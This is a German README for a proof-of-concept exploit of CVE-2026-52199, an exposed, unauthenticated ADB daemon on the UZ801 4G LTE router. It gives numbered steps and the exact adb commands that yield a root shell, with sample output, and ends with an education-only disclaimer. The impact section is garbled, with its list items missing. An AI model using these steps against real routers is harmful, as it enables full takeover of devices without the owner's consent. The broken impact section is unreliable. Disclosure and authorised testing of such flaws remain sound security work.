Proof-of-Concept-Exploit für CVE-2026-52199: nicht authentifizierte Remote-Code-Ausführung über einen exponierten ADB-Daemon auf dem UZ801-4G-LTE-Router. Enthält Schwachstellenanalyse, Auswirkungsanalyse und eine Schritt-für-Schritt-Anleitung zur Ausnutzung für autorisierte Sicherheitstests.
Eine kritische Schwachstelle in der Zugriffskontrolle besteht im Generic OEM UZ801_v2.1 4G LTE Router (Firmware V3.4.3). Das Gerät setzt einen nicht authentifizierten Android-Debug-Bridge-Daemon (/sbin/adbd) auf TCP-Port 7628 unachtsam dem angrenzenden Netzwerk (LAN/WLAN) aus.
Ein Angreifer, der mit dem lokalen Netzwerk des Geräts verbunden ist, kann diesen Fehler ausnutzen, um alle Authentifizierungsmechanismen zu umgehen, eine ADB-Verbindung herzustellen und beliebigen Code mit root-Rechten auszuführen.
/sbin/adbdDie Ausnutzung dieser Schwachstelle führt zu einer vollständigen Kompromittierung des Systems. Die Auswirkungen umfassen:
root-Shell)Der Ausnutzungsprozess erfordert keine speziellen Werkzeuge außer dem Standard-adb-Client und Zugang zum angrenzenden Netzwerk.
Schritt 1: Verbinden Sie sich mit dem WLAN-Netzwerk des UZ801-Routers (Das Standard-Gateway ist in der Regel 192.168.100.1).
Schritt 2: Scannen Sie das Gerät auf offene Ports. Der Port 7628/TCP wird als offen gemeldet.
Schritt 3: Initiieren Sie vom Rechner des Angreifers aus eine ADB-Verbindung zum undokumentierten Port:
$ adb connect 192.168.100.1:7628
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.100.1:7628
Schritt 4: Fordern Sie eine interaktive Shell an:
$ adb -s 192.168.100.1:7628 shell
Schritt 5: Der Angreifer wird ohne Authentifizierungsabfragen sofort in eine root-Shell versetzt:
root@msm8916_32_512:/ # id
uid=0(root) gid=0(root) context=u:r:su:s0
root@msm8916_32_512:/ # uname -a
Linux localhost 3.10.49 #1 SMP PREEMPT ... aarch64
Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
Die Informationen und der Proof-of-Concept in diesem Repository dienen ausschließlich Bildungszwecken und dazu, Netzwerke zu sichern. Der Autor (lamaper) ist nicht verantwortlich für jede missbräuchliche Verwendung dieser Informationen. Verwenden Sie diesen Exploit nicht gegen Geräte oder Netzwerke, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.